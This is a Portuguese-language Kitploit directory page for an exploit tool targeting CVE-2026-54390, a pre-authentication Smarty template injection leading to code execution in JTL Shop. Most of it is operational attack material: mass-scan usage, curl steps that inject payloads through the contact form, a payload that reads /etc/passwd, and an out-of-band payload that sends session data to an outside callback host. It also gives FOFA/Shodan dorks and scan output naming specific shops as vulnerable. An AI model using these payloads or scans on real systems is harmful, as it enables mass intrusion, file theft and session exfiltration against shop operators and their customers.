Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-54390 — CVE-2026-54390 — JTL Shop Smarty SSTI RCE | Pre-Auth Template Injection via fetch('string:' . ) | 5.2.0-5.7.1 | Kitploit
Ferramentas/GitHubGitHub/shinthink/cve-2026-54390
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubshinthink/cve-2026-54390

CVE-2026-54390

CVE-2026-54390 — JTL Shop Smarty SSTI RCE | Pre-Auth Template Injection via fetch('string:' . ) | 5.2.0-5.7.1

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-54390 — Exploração em Massa de SSTI Smarty no JTL Shop

Formulário de Contato Pré-Autenticação → Assunto do Email → fetch('string:') → RCE


Visão Geral

CVE-2026-54390 é uma vulnerabilidade crítica (CVSS 9.8) de Injeção de Template do Lado do Servidor sem autenticação no JTL Shop 5.2.0–5.7.1.

O método SmartyRenderer::renderTemplate() passa linhas de assunto de email para $smarty->fetch('string:' . $subject) — renderizando-as como templates Smarty. Os campos do formulário de contato do usuário chegam ao assunto do email via resolução #var# em parseSubject(), e depois são reavaliados por fetch().

Text::filterXSS() apenas remove tags HTML — { e } passam. Os modificadores Smarty registrados incluem file_get_contents e unserialize.

Versões Afetadas

JTL ShopStatus
< 5.2.0Não afetado
5.2.0 – 5.3.xVulnerável (roubo de credenciais)
5.4.0 – 5.7.1Vulnerável (RCE completo)
5.5.4 / 5.6.2 / 5.7.2+Corrigido

Mecanismo da Vulnerabilidade

Causa Raiz

root@kitploit:~
// includes/src/Mail/Renderer/SmartyRenderer.php line 63
$subject = $this->parseSubject($model->getSubject($languageID));
$template->setSubject($this->getSmarty()->fetch('string:' . $subject));
//                       ^^^^^^^^^^^^^^^^^^^^^
//                     Assunto do email renderizado como template Smarty

Fluxo de Ataque

root@kitploit:~
1. Usuário preenche formulário de contato → nome/email/mensagem → filterXSS()
2. filterXSS apenas remove HTML — {system()} passa
3. Template de assunto do email: "Neue Anfrage von #Kunde.vorname#"
4. parseSubject() resolve #Kunde.vorname# → {system('id')}
5. fetch('string:Neue Anfrage von {system(\'id\')}') → EXECUTA
6. Email enviado com assunto: "Neue Anfrage von uid=33(www-data)..."

Modificadores Smarty Registrados

root@kitploit:~
// PluginCollection.php — disponíveis para RCE
'unserialize', 'file_get_contents', 'file_exists', 'class_exists'

Instalação

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-54390.git
cd CVE-2026-54390
pip install -r requirements.txt

Uso

root@kitploit:~
# Alvo único
python cve_2026_54390.py -t target.com

# Varredura em massa
python cve_2026_54390.py -f jtl-targets.txt -o vuln.txt

# Sonda SSTI via formulário de contato
python cve_2026_54390.py -t target.com --exploit --debug

Argumentos

root@kitploit:~
  -t, --target      Alvo único (domínio ou IP)
  -f, --file        Lista de alvos, um por linha
  -o, --output      Salvar alvos vulneráveis
  --threads         Trabalhadores (padrão: 20)
  --exploit         Enviar sonda SSTI pelo formulário de contato
  --debug           Mostrar cada requisição HTTP
  -v, --verbose     Saída detalhada

Prova de Conceito

Detecção

root@kitploit:~
$ python cve_2026_54390.py -t jtl-shop.de --debug
root@kitploit:~
  JTL Shop Smarty SSTI | CVE-2026-54390

  [jtl-shop.de] JTL Shop v5.7.0
  [jtl-shop.de] [+] JTL Shop v5.7.0
  [jtl-shop.de] contact form: /Kontakt | subjects:5

  Host       : jtl-shop.de
  JTL Shop   : YES v5.7.0
  Contact    : YES
  Form path  : /Kontakt
  Subjects   : 5 available

Varredura em Massa

root@kitploit:~
  [!] business.trustedshops.ch   1.6s  v5.5.2  form:/Kontakt
  [!] bmg-moebel.de              5.3s  v5.7.0  form:/Kontakt
  [100/5600] 1%  |  JTL:23  Vuln:12

Exploração Manual

Passo 1 — Encontrar formulário de contato + token

root@kitploit:~
curl -sk 'https://target.com/Kontakt' | grep -oP 'name="jtl_token"[^>]*value="\K[^"]+'

Passo 2 — Enviar sonda SSTI

root@kitploit:~
curl -sk -X POST 'https://target.com/Kontakt' \
  -d 'kontakt=1' -d 'subject=1' \
  -d 'nachricht={7*7}' \
  -d 'vorname={7*7}' \
  -d 'nachname={7*7}' \
  -d '[email protected]'

Passo 3 — Ler arquivos

root@kitploit:~
{{"/etc/passwd"|file_get_contents}}

Passo 4 — Exfiltração OOB

root@kitploit:~
{{"http://callback.com/?s="|file_get_contents|cat:$smarty.session|replace_delim:":"}}

FOFA / Shodan

root@kitploit:~
FOFA:   body="jtl" && body="kontakt"
Shodan: http.html:"jtl" http.html:"Kontakt"

Aviso Legal

APENAS PARA FINS EDUCACIONAIS E DE TESTE AUTORIZADOS. Os autores não assumem nenhuma responsabilidade pelo uso indevido.


Referências


Não afiliado à JTL-Software ou Sansec.

Baixar ferramenta
Recurso
Link
Sansec Researchsansec.io/research/jtl-shop-ssti-rce
IONIX Advisoryionix.io/threat-center/cve-2026-54390
Fórum JTLforum.jtl-software.de
NVDCVE-2026-54390